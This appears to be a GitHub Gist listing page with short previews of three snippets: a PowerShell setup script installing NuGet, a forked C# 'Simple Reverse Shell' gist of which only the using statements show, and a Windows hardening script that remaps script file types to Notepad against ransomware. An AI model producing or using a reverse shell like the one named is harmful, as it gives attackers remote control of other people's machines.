Skip to content

Instantly share code, notes, and snippets.

# Set security protocol to TLS 1.2
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
# Install NuGet and BurntToast modules if not already installed
Install-PackageProvider -Name Nuget -MinimumVersion 2.8.5.201 -Force
# Add NuGet to system PATH
[System.Environment]::SetEnvironmentVariable("Path", "$env:Path;$nugetPath", "User")
@mother2110
mother2110 / Simple_Rev_Shell.cs
Created January 7, 2019 21:05 — forked from BankSecurity/Simple_Rev_Shell.cs
C# Simple Reverse Shell Code
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
@mother2110
mother2110 / windows_hardening.cmd
Created October 3, 2018 15:24 — forked from jaredhaight/windows_hardening.cmd
Script to perform some hardening of Windows OS.
::
::#######################################################################
::
:: Change file associations to protect against common ransomware attacks
:: Note that if you legitimately use these extensions, like .bat, you will now need to execute them manually from cmd or powershell
:: Alternatively, you can right-click on them and hit 'Run as Administrator' but ensure it's a script you want to run :)
:: ---------------------
ftype htafile="%SystemRoot%\system32\NOTEPAD.EXE" "%1"
ftype WSHFile="%SystemRoot%\system32\NOTEPAD.EXE" "%1"
ftype batfile="%SystemRoot%\system32\NOTEPAD.EXE" "%1"